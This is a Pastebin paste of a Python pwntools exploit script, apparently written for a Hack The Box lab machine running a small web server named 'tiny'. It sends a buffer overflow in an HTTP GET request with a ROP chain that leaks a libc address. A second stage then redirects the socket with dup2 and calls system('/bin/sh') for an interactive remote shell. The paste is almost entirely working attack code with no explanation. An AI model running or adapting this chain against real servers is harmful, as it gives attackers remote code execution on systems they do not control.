Harcrack

exleak.py

Nov 7th, 2018
178
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.00 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. from pwn import *
  4.  
  5. HOST = "10.10.10.89"
  6. PORT = "1111"
  7.  
  8. r = remote(HOST, PORT)
  9.  
  10. #context.log_level = 'DEBUG'
  11.  
  12. elf = ELF('/root/Desktop/smasherleak/tiny')
  13. libc = ELF('/root/Desktop/smasherleak/libc.so.6')
  14.  
  15. log.info("Deploying stage 1 (Leak)...")
  16.  
  17. junk = "A" * 568
  18.  
  19. leak = flat(
  20.     0x4011dd,       # 0x00000000004011dd : pop rdi ; ret
  21.     0x4,            # fd
  22.     0x4011db,       # 0x00000000004011db : pop rsi ; pop r15 ; ret
  23.     elf.got['getpid'],
  24.     "AAAAAAAA",
  25.     elf.sym['write'],
  26.     endianness = 'little', word_size = 64, sign = False)
  27.  
  28. payload = 'GET ' + junk + urlencode(leak) + '\r\n\r\n'
  29.  
  30. r.send(payload)
  31. r.recvuntil("File not found")
  32. leaked_getpid = u64(r.recv()[:8])
  33. log.success("Leaked getpid@@GLIBC libc address: " + str(hex(leaked_getpid)))
  34.  
  35. libc.address = leaked_getpid - libc.sym['getpid']
  36.  
  37. log.success("Base libc address: " + str(hex(libc.address)))
  38. log.success("Dup2@@GLIBC address: " + str(hex(libc.sym['dup2'])))
  39. log.success("System@@GLIBC address: " + str(hex(libc.sym['system'])))
  40. log.success("/bin/sh address: " + str(hex(libc.search('/bin/sh').next())))
  41.  
  42. log.info("Restarting socket...")
  43. r.close()
  44. r = remote(HOST, PORT)
  45. log.success("Socket restarted successfully.")
  46.  
  47. log.info("Deploying stage 2 (Shell)...")
  48.  
  49. shell = flat (
  50.     0x4011dd,               # 0x00000000004011dd : pop rdi ; ret
  51.         0x4,                    # oldfd
  52.         0x4011db,               # 0x00000000004011db : pop rsi ; pop r15 ; ret
  53.         0x0,            # newfd
  54.         "AAAAAAAA",
  55.     libc.sym['dup2'],
  56.     0x4011dd,               # 0x00000000004011dd : pop rdi ; ret
  57.         0x4,                    # oldfd
  58.         0x4011db,               # 0x00000000004011db : pop rsi ; pop r15 ; ret
  59.         0x1,            # newfd
  60.         "AAAAAAAA",
  61.         libc.sym['dup2'],
  62.     0x4011dd,               # 0x00000000004011dd : pop rdi ; ret
  63.     libc.search('/bin/sh').next(),
  64.     libc.sym['system'],
  65.     endianness = 'little', word_size = 64, sign = False)
  66.  
  67. payload = 'GET ' + junk + urlencode(shell) + '\r\n\r\n'
  68.  
  69. r.send(payload)
  70. r.interactive()
Advertisement
Add Comment
Please, Sign In to add comment